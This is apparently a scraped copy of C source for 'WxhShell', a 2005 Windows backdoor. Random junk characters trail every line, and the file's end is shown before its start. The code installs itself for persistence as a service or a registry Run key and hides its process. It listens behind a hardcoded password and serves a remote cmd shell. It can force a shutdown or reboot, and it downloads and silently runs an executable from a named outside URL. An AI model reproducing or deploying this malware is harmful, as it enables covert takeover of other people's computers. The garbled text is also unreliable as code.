    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rvwa!YY}  
    if(Boot(SHUTDOWN)) W RF.[R"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0LdJZP  
    else { F>*{e  
    closesocket(wsh); +~N!9eMc  
    ExitThread(0); e!GZSk   
    } YxXq I  
    break; 9UV9h_.x  
    } U9 #w  
  // 获取shell ! D$Ooamq  
  case 's': { "tUwo(K[  
    CmdShell(wsh); hUh+JW  
    closesocket(wsh); eTT) P  
    ExitThread(0); 5Tedo~v  
    break; vwmBUix  
  } !scD|ti  
  // 退出 |#k@U6`SG  
  case 'x': { }Al YNEY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); onwjn+"&  
    CloseIt(wsh); l-<`m#/v  
    break; lbTV$A  
    } V4|uas{0I:  
  // 离开 5X#E@3g5  
  case 'q': { +y/55VLq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \|.7-X  
    closesocket(wsh); ,beS0U]  
    WSACleanup(); QOH<]~3J  
    exit(1); Ke!'gohv  
    break; vy [C'a  
        } A|L'ih/  
  } iPvuz7j=h  
  } (,B#t7ka  
Ird|C[la  
  // 提示信息 2s\BY%XY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d1c0l{JV3  
} z8"7u /4v{  
  } gv|"OlB  
?{6s58Q{  
  return; I`T1Pll  
} BJk Z2=  
zU&L.+   
// shell模块句柄 Wpr ,j N8b  
int CmdShell(SOCKET sock) uR$i48}  
{  .t =  
STARTUPINFO si; BRzfic :e  
ZeroMemory(&si,sizeof(si)); 0J9D"3T)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \vRd}   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GSi>l,y'  
PROCESS_INFORMATION ProcessInfo; $=)gpPT  
char cmdline[]="cmd"; #$E)b:xj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jo9gCP.  
  return 0; lyv4fP  
} >P=Q #;v  
;SY\U7B\  
// 自身启动模式 aJzLrX  
int StartFromService(void) cE\>f8 I  
{ -DjJ",h( $  
typedef struct mV)+qXC  
{ pr&=n;_ n  
  DWORD ExitStatus; /<{:I \<  
  DWORD PebBaseAddress; ]JXKZV8$0  
  DWORD AffinityMask; [M%._u,  
  DWORD BasePriority; dg_Gs>?2  
  ULONG UniqueProcessId; > ' i  
  ULONG InheritedFromUniqueProcessId; e#S0Fk)z  
}   PROCESS_BASIC_INFORMATION; A&"%os  
^x m$EY*Y,  
PROCNTQSIP NtQueryInformationProcess; YlF%UPp  
%\Wf^6Y^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -oP'4QVb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \+ 0k+B4a  
=5x&8i  
  HANDLE             hProcess; &%mXYj3y5  
  PROCESS_BASIC_INFORMATION pbi; !RH.|}  
/.1. MssQM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yK%ebq]  
  if(NULL == hInst ) return 0; KzV 2MO-$  
f0>!qt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k|xtr&1N.!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F(,UA+$A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'xE _Cj  
Fmr}o(q1  
  if (!NtQueryInformationProcess) return 0; yN6>VD{F  
 Vzl^Ka'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !.TLW  
  if(!hProcess) return 0; :O= \<t  
wW>fVP r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @~ETj26U'  
2%u;$pj  
  CloseHandle(hProcess); V[nQQxWp=  
i+{yMol1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qk1xUE  
if(hProcess==NULL) return 0; hA1-){aw3q  
.(CP. d  
HMODULE hMod; 8|%^3O 0X  
char procName[255]; 8}s.Fg@tE  
unsigned long cbNeeded; Qf$|_&|  
])}(k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cC'x6\a  
&#yR;{  
  CloseHandle(hProcess); Y>+y(ck  
x[ 3A+  
if(strstr(procName,"services")) return 1; // 以服务启动 nh>K`+>co  
cV{o?3<:B  
  return 0; // 注册表启动 F4L;BjnJ  
} \Ae9\Jp8M  
x1&W^~  
// 主模块 6CbxuzYer  
int StartWxhshell(LPSTR lpCmdLine) pmWr]G3,*  
{ -E"GX  
  SOCKET wsl; /X'(3'a  
BOOL val=TRUE; G 2!xPHz  
  int port=0; fw6UhG  
  struct sockaddr_in door; ^= 0m-/  
]X Z-o>+ ,  
  if(wscfg.ws_autoins) Install(); %zk$}}ti.  
Y!J>U  
port=atoi(lpCmdLine); ?>"Yr,b?  
#~O b)q|  
if(port<=0) port=wscfg.ws_port; 0tg8~H3yy  
*3/T;x.  
  WSADATA data; ]n."<qxeT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ::FS/Y]Fg  
mtz#}qD66  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PjA6Ji;Hu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -#!x|ne  
  door.sin_family = AF_INET; /,=@8k!t?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >9e(.6&2XZ  
  door.sin_port = htons(port); @f]{>OS  
A+J*e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +l3=3  
closesocket(wsl); 0sca4G0{  
return 1; Bw%Qbs0Q  
} +5VLw  
*}k;L74|  
  if(listen(wsl,2) == INVALID_SOCKET) { ^sN (  
closesocket(wsl); U8qtwA9t  
return 1; ^V$Ajt  
} ivDGZI9  
  Wxhshell(wsl); M])dJ9&e  
  WSACleanup(); FIxFnh3~  
]I3!fEAWR  
return 0; ,C%eBna4Iq  
<S?ddp2  
} < -W*$?^  
MUfG?r\t  
// 以NT服务方式启动 Q'_z<V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `\Hf]b  
{ A+hT3;lp  
DWORD   status = 0; (jU6GJRP  
  DWORD   specificError = 0xfffffff; 0c K{  
;22oY>w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m3Il3ZY.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @2'Mt}R>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2{|h8oz  
  serviceStatus.dwWin32ExitCode     = 0; 7i&:DePM'q  
  serviceStatus.dwServiceSpecificExitCode = 0; T^J>ZDA  
  serviceStatus.dwCheckPoint       = 0; 0d8%T<=J  
  serviceStatus.dwWaitHint       = 0; GFr|E8  
u#}[ZoI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5onm]V]  
  if (hServiceStatusHandle==0) return; 2^i(gaXUQ  
g1t0l%_7^  
status = GetLastError(); y WV#Up  
  if (status!=NO_ERROR) AL>$HB$  
{ Jgnhn>dHe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o sKKt?^?  
    serviceStatus.dwCheckPoint       = 0; 23 ~ Sjr  
    serviceStatus.dwWaitHint       = 0; Xy5e5K  
    serviceStatus.dwWin32ExitCode     = status; 8Q_SRwN  
    serviceStatus.dwServiceSpecificExitCode = specificError; >jD[X5Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p<M\U"5Ye  
    return; Y>'|oygHA  
  } cM&{+el  
5mb]Q)f9-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EkziAON  
  serviceStatus.dwCheckPoint       = 0; jH_JmYd  
  serviceStatus.dwWaitHint       = 0; BcI |:qv|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zOQ>d|p?X  
} /7gOSwY  
q$=#A7H>3)  
// 处理NT服务事件,比如:启动、停止 (<^yqH?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E*+{t~  
{ XQw>EZdj_N  
switch(fdwControl) L|p Z$HB  
{ y*X_T,K 8  
case SERVICE_CONTROL_STOP: VkZ7#  
  serviceStatus.dwWin32ExitCode = 0; nqLA}u4IM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }iuWAFZbGS  
  serviceStatus.dwCheckPoint   = 0; M![J2=  
  serviceStatus.dwWaitHint     = 0; BCA&mi3q  
  { fkac_X$7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o}ZdTf=  
  } `]%|f  
  return; i>(e}<i  
case SERVICE_CONTROL_PAUSE: wiiCd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ti#7(^j  
  break; 8YbE`32  
case SERVICE_CONTROL_CONTINUE: AvW:<}a,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2k=# om19  
  break; Qjb:WC7he  
case SERVICE_CONTROL_INTERROGATE: <i,U )Tt^C  
  break; )= =Jfn y  
}; #'y#"cmQ.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [UH||qW  
} NX}<*b/  
R6(oZph  
// 标准应用程序主函数 I1X-s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EKO[!,  
{ AB4(+S*LA  
:8OZ#D_Hl  
// 获取操作系统版本 D|{jR~J)xK  
OsIsNt=GetOsVer(); HPZ}*m'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ftr5k^!  
%\:[ o  
  // 从命令行安装 V;v8=1t!  
  if(strpbrk(lpCmdLine,"iI")) Install(); ml+; Rmvb  
% yw?s0  
  // 下载执行文件 aeD;5VV  
if(wscfg.ws_downexe) { !4X f~P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `7r@a  
  WinExec(wscfg.ws_filenam,SW_HIDE); h 5^Z2:#  
} r[*Vqcz  
k=jk`c{<[  
if(!OsIsNt) { Rd#WMo2Xd  
// 如果时win9x,隐藏进程并且设置为注册表启动 h%uZYsK  
HideProc(); H*r)Z 90  
StartWxhshell(lpCmdLine); 2I,^YWR  
} }n>p4W"OM  
else B&n<M]7  
  if(StartFromService()) E4M@WNPx  
  // 以服务方式启动 )84~ugs  
  StartServiceCtrlDispatcher(DispatchTable); l`f/4vy  
else N$U$5;r~`  
  // 普通方式启动 md"!33 @  
  StartWxhshell(lpCmdLine); q-}Fvel u  
3v1iy / /  
return 0; bAx-"Lu  
} SMpH._VFeE  
zo4qG+>o  
& tg&5_  
FG.em  
=========================================== F9,DrB,B{  
2h5nMI]'  
+lHjC$   
t%E!o0+8Z  
sTn<#l6  
 J4f i'  
" ,[P{HrHx  
hpO`]  
#include <stdio.h> [PNT\ElT  
#include <string.h> ~f$|HP}  
#include <windows.h> SAy=WV  
#include <winsock2.h> e&&53?  
#include <winsvc.h> I|^;B 8[  
#include <urlmon.h> B><d9d  
iKX-myCz  
#pragma comment (lib, "Ws2_32.lib") wk5s)%V  
#pragma comment (lib, "urlmon.lib") ^ hZ0IM  
W04@!_) <  
#define MAX_USER   100 // 最大客户端连接数 ahJ`$U4n  
#define BUF_SOCK   200 // sock buffer n>BkTaI  
#define KEY_BUFF   255 // 输入 buffer MkfBu W;)  
zh8nc%X{  
#define REBOOT     0   // 重启 Vex{.Vh,"  
#define SHUTDOWN   1   // 关机 Cv6'`",Yzm  
;DFSzbF`  
#define DEF_PORT   5000 // 监听端口 21K>`d\  
)48QBz?  
#define REG_LEN     16   // 注册表键长度 TJK[ev};S  
#define SVC_LEN     80   // NT服务名长度 &,{fw@#)_  
M l Jo`d  
// 从dll定义API _`&m\Qe>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1v.c 6~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1Q<^8N)pf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )u[emv$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A kC1z73<  
$4h5rC g0  
// wxhshell配置信息 ;f#v0W`5  
struct WSCFG { PQ5QA61  
  int ws_port;         // 监听端口 }dgfqq  
  char ws_passstr[REG_LEN]; // 口令 _Kl_61k  
  int ws_autoins;       // 安装标记, 1=yes 0=no Oo5w?+t  
  char ws_regname[REG_LEN]; // 注册表键名 `6~Aoe  
  char ws_svcname[REG_LEN]; // 服务名 "s0)rqf<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2$+bJJM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cW@Zd5&0S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +ElfZ4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hT`J1nNt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O}-jCW;K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6jE |  
&Sw%<N*r  
}; u0|8Tgf  
IzikDc10  
// default Wxhshell configuration )dbB =OZ  
struct WSCFG wscfg={DEF_PORT, a{^m-fSaR"  
    "xuhuanlingzhe", gQWa24  
    1, hYPl&^  
    "Wxhshell", I*{4rDt  
    "Wxhshell", ,':fu  
            "WxhShell Service",  P5a4ze  
    "Wrsky Windows CmdShell Service", Mo?~_|}  
    "Please Input Your Password: ", n.!#P|  
  1, ZSjMH .Ij"  
  "http://www.wrsky.com/wxhshell.exe", 52:HNA\E/  
  "Wxhshell.exe" EMwS1~3dD  
    }; ! h"Kq>9 T  
,J,/."Y  
// 消息定义模块 1+szG1U=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; = RA /  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b6nsg|&#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :ubV};  
char *msg_ws_ext="\n\rExit."; 4>F'oqFF  
char *msg_ws_end="\n\rQuit."; 0m%|U'm|j  
char *msg_ws_boot="\n\rReboot..."; gd%NkxmW  
char *msg_ws_poff="\n\rShutdown..."; q)X$^oE!6  
char *msg_ws_down="\n\rSave to "; <"{qk2LS1  
Uzz'.K(Mv|  
char *msg_ws_err="\n\rErr!"; rI= v  
char *msg_ws_ok="\n\rOK!"; S%bCyK%p  
& ?h#Z!  
char ExeFile[MAX_PATH]; s.bc>E0  
int nUser = 0; g7}Gip}.>  
HANDLE handles[MAX_USER]; t3*wjQ3  
int OsIsNt; =mS\i663  
RDW8]=uM  
SERVICE_STATUS       serviceStatus; )97SnCkal  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h`KFL/fT  
hn5h\M?  
// 函数声明 Zn&, t &z  
int Install(void); Sg&UagBj  
int Uninstall(void); HePUWL'  
int DownloadFile(char *sURL, SOCKET wsh); >80;8\  
int Boot(int flag); |^:cG4e  
void HideProc(void); B~]k#Ot)  
int GetOsVer(void); Aydm2!l1  
int Wxhshell(SOCKET wsl); )Xk0VDNp$/  
void TalkWithClient(void *cs); 7C,&*Ax,9  
int CmdShell(SOCKET sock); O@u?h9?cf>  
int StartFromService(void); ]op}y0  
int StartWxhshell(LPSTR lpCmdLine); $7O}S.x  
t[ubn+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QS%%^+E2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HJLu'KY }  
M2PAy! J  
// 数据结构和表定义 `NCwK6/i  
SERVICE_TABLE_ENTRY DispatchTable[] = od IV:(  
{ d/PiiiFf,  
{wscfg.ws_svcname, NTServiceMain}, U{7w#>V .  
{NULL, NULL} ~HTmO;HNf"  
}; xf<at->  
mw_~*Nc'9  
// 自我安装 tjIl-IQ  
int Install(void) a|%J=k>>  
{ 9>l*lCA  
  char svExeFile[MAX_PATH]; `IP/d  
  HKEY key; +ln9c  
  strcpy(svExeFile,ExeFile); ^V?<K.F  
ozmrw\_}[  
// 如果是win9x系统,修改注册表设为自启动 UJD 0K]s  
if(!OsIsNt) { (U&tt]|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Li!Vx1p;u.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4" Cb/y3  
  RegCloseKey(key); "S8uoSF`>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vMA]j>>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wN@oYFoL  
  RegCloseKey(key); hBS.a6u1'd  
  return 0; 'Q|M'5'  
    } =d".|k  
  } 1pt%Kw*@j  
} _wTOmz%|R  
else { sPr~=,F  
C<NLE-  
// 如果是NT以上系统,安装为系统服务 o C<.=2]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g<l1zo`_  
if (schSCManager!=0) JSkLEa~<  
{ 9{RB{<Se!  
  SC_HANDLE schService = CreateService }p}[j t  
  ( }=%oX}[  
  schSCManager, Wr<j!>J6Ki  
  wscfg.ws_svcname, G/b^|;41  
  wscfg.ws_svcdisp, #yI mKEYX  
  SERVICE_ALL_ACCESS, k9k XyX[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p2ogn}`  
  SERVICE_AUTO_START, SG6kud\b  
  SERVICE_ERROR_NORMAL, H<VTa? n  
  svExeFile, _y),J'W^3u  
  NULL, !Y$h"<M  
  NULL, O~T@rX9f  
  NULL, k`So -e-  
  NULL, CLRiJ*U  
  NULL k jg~n9#T  
  ); 48:>NW  
  if (schService!=0) 4i6q{BeHn  
  { w1hPc!I  
  CloseServiceHandle(schService); kw#;w=\>R{  
  CloseServiceHandle(schSCManager); 6ys &zy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4A8;tU$&  
  strcat(svExeFile,wscfg.ws_svcname); G'oG< /A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S0B|#O%Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); % W=b? :  
  RegCloseKey(key); Q9~*<I> h;  
  return 0; =:&ly'QB&  
    } GNgKo]u  
  } qlb- jL  
  CloseServiceHandle(schSCManager); 4.Q} 1%ZN  
} a2dnbfSWa[  
} )[PtaPWeT  
=8t]\Y?  
return 1; +aJ>rR  
} x.f]1S7h[  
fI{ESXU  
// 自我卸载 Rtb7|  
int Uninstall(void) K@sV\"U(*E  
{ ,24p%KJ*X  
  HKEY key; {{B%f.   
ix([mQg  
if(!OsIsNt) { q#T/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hc>m;[M)l  
  RegDeleteValue(key,wscfg.ws_regname); gG]Eeu+z   
  RegCloseKey(key); H| 8Qp*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $K]m{  
  RegDeleteValue(key,wscfg.ws_regname); Z1 Bp+a3  
  RegCloseKey(key); 6A>dhU  
  return 0; b6Wqr/  
  } byLft 1  
} b:Wm8pp?  
} xCg52zkH#  
else { 2^y ^q2(r  
<}E!w_yi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pnjXf.g"O  
if (schSCManager!=0) 4(|cG7>9-  
{ ba[1wFmcL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qHuZcht  
  if (schService!=0) +?:7O=Y  
  { z`!XhU  
  if(DeleteService(schService)!=0) { %K>,xiD)  
  CloseServiceHandle(schService); V#XppYU  
  CloseServiceHandle(schSCManager); ,{BaePMp  
  return 0; s!?`T1L  
  } ?98("T|y;  
  CloseServiceHandle(schService); ~rDZ?~%  
  } lwrC pD .  
  CloseServiceHandle(schSCManager); ,quoRan  
} Bk*F_>X"  
} 3on7~*  
{zn!vJX  
return 1; f|B=_p80  
} JBXrFC;  
LS7, a|  
// 从指定url下载文件 n\xX},  
int DownloadFile(char *sURL, SOCKET wsh) y0#u9t"Z;  
{ =T(6#"  
  HRESULT hr; N>XS=2tzN  
char seps[]= "/"; $}) g?Q  
char *token; P!H_1RwXKC  
char *file; *1v[kWa?  
char myURL[MAX_PATH]; q=%RDG+  
char myFILE[MAX_PATH]; ^lA=* jY(  
[P&7i57  
strcpy(myURL,sURL); mS^tX i5hg  
  token=strtok(myURL,seps); 9f hsIe  
  while(token!=NULL) ;\]b T;#  
  {  f4Xk,1Is  
    file=token; ?AJKBW^  
  token=strtok(NULL,seps); @)|C/oA  
  } EB2w0a5  
4)@mSSfn.  
GetCurrentDirectory(MAX_PATH,myFILE); Y8m1M-#w  
strcat(myFILE, "\\"); .#rJ+.2  
strcat(myFILE, file); `(YxI  
  send(wsh,myFILE,strlen(myFILE),0); 7J EbH?lEN  
send(wsh,"...",3,0); wgamshm"d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'eLqlu|T  
  if(hr==S_OK) )Xv ilCk1  
return 0; )L#i%)+  
else !a7[ 8&  
return 1; swM*k;$q{  
q(`/Vo4g(  
} rEB @$C^  
&3bx `C  
// 系统电源模块 jN[`L%Qm   
int Boot(int flag) <eQj`HL  
{ \Ta"}TF8  
  HANDLE hToken; %p2Sh)@M  
  TOKEN_PRIVILEGES tkp; y+"X~7EX  
4)A#2  
  if(OsIsNt) { {u#;?u=|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +kzo*zW$L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -Z 4e.ay5  
    tkp.PrivilegeCount = 1; 555XCWyrC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -_1>C\h"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8=NM|i  
if(flag==REBOOT) { gj*+\3KO@a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1JztFix  
  return 0; aX5 z&r:{  
} 5]AC*2(  
else { f33l$pOp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) - `p4-J!Fy  
  return 0; n[G&ksQI  
} 2/"u5  
  } >'&p>Ad)  
  else { )N7Y^CN~  
if(flag==REBOOT) { 3Nq N \5B:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _*1`@  
  return 0; L)@?e?9  
} <Bw^!.jAF  
else { X!9 B2w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KX'{[7}m'  
  return 0; *7ZN]/VRT  
} &e#~<Wm82  
} Jl#%uU/sx  
&6ZD136  
return 1; BYVY)<v/  
} q,93nhs "  
23RN}LUi  
// win9x进程隐藏模块 Rm255z p  
void HideProc(void) 59"UL\3  
{ 3|'>`!hb  
X voo=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vgfcCcZ_iZ  
  if ( hKernel != NULL ) `f*Q$Ulqx  
  { Q9Kve3u-i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mi,E-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G!>z;5KuS  
    FreeLibrary(hKernel); e\!0<d  
  } ??M"6k  
j4|N- :  
return; 8~J(](QA  
} 0yuS3VY)  
d@XV:ae  
// 获取操作系统版本 O(D ~_O.  
int GetOsVer(void) + HK8jCa  
{ i3 6eBjT  
  OSVERSIONINFO winfo;  SL#0kc0x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _"bHe/'CI  
  GetVersionEx(&winfo); &jslyQ#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pe]A5\4c  
  return 1; 60J;sGW  
  else G9xmmc  
  return 0; :6vm+5!  
} 95A1:A^t  
Xq_5Qv  
// 客户端句柄模块 2jR r,Nl  
int Wxhshell(SOCKET wsl) <}<zgOT[1!  
{ =cm~vDl[  
  SOCKET wsh; j4jTSLQ\  
  struct sockaddr_in client; =g9*UzA"O  
  DWORD myID; |wiqGzAr{  
$$ Oey)*  
  while(nUser<MAX_USER) 1(I6.BHW  
{ q7_ m&-0)  
  int nSize=sizeof(client); ew#B [[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8<8:+M}  
  if(wsh==INVALID_SOCKET) return 1; pTPi@SBaP{  
mH%yGBp_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !F A]  
if(handles[nUser]==0) x:),P-~w  
  closesocket(wsh); m1B+31'>^  
else :N4t49i  
  nUser++; Z4S!NDMm~  
  } :.Jf0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +av@$}  
U+:m4a  
  return 0; _+K_5IO4  
} \m(VdE  
E"qRw_ ~t  
// 关闭 socket &cxRD  
void CloseIt(SOCKET wsh) QPx_-  
{ Pv_Jm  
closesocket(wsh); x=b7':nQ  
nUser--; >O*IQ[r-  
ExitThread(0); CE#gfP  
} 8u6:=fxb  
^l9N48]|?  
// 客户端请求句柄 v!<gY m&  
void TalkWithClient(void *cs) ]s'Q_wh_-v  
{ g.BdlVB\  
$c 0h. t  
  SOCKET wsh=(SOCKET)cs; e+~\+:[?  
  char pwd[SVC_LEN]; '*5i)^  
  char cmd[KEY_BUFF]; _F>CBG  
char chr[1]; Qw-~>d  
int i,j; QEz? w}b*  
YB(Q\hT~\;  
  while (nUser < MAX_USER) { p1Jh0o8  
ar__ Pf6r  
if(wscfg.ws_passstr) { JmxH"7hTE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j(m.$:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9^oKtkoDZ  
  //ZeroMemory(pwd,KEY_BUFF); <0b)YJb4M  
      i=0; c~z82iXNO  
  while(i<SVC_LEN) { kW;+|qs^  
#Y*X<L  
  // 设置超时 kD=WO4}  
  fd_set FdRead; ,{M^-3C  
  struct timeval TimeOut; ZrPbl "`7  
  FD_ZERO(&FdRead); vHyC;4'  
  FD_SET(wsh,&FdRead); zHA!%>%'  
  TimeOut.tv_sec=8; @ [:ZS+1  
  TimeOut.tv_usec=0; jrr EAp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vB.E3r=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K2TcOFQ  
CyS$|E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]^h]t~  
  pwd=chr[0]; T|nDTezr  
  if(chr[0]==0xd || chr[0]==0xa) { yv t.  
  pwd=0; ]A~WIF  
  break; > V-A;S:  
  } [@VP?74  
  i++; } Yb[   
    } IpYM;tYw&  
pMw*9s X  
  // 如果是非法用户,关闭 socket Q6PHpaj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [k.tWA,&  
} cpL7!>^=  
>0/i[k-dk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q!.byrod  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0)Uce=t`  
8&GBV_`I  
while(1) { 4 {y)TZ  
!%CWZZ 6u  
  ZeroMemory(cmd,KEY_BUFF); e7 ^mmm  
s'!Cp=xQF"  
      // 自动支持客户端 telnet标准   J1( 9QN[w  
  j=0; RIlwdt  
  while(j<KEY_BUFF) { ns9U/ :L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /rK}?U  
  cmd[j]=chr[0]; (?n=33}Ci  
  if(chr[0]==0xa || chr[0]==0xd) { arIf'CG6  
  cmd[j]=0; a =J^  
  break; my(2;IJ#{  
  } J%u=Ucdh  
  j++; 0(eB ZdRO  
    } a L} % 2  
J"!vu.[  
  // 下载文件 Sdp&jZY  
  if(strstr(cmd,"http://")) { x-$&g*<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VJeu 8ZJ.  
  if(DownloadFile(cmd,wsh)) VEWi_;=J1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &v56#lG  
  else [4YTDEv%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Lfm&;  
  } J?V?R  
  else { ``,fodA8  
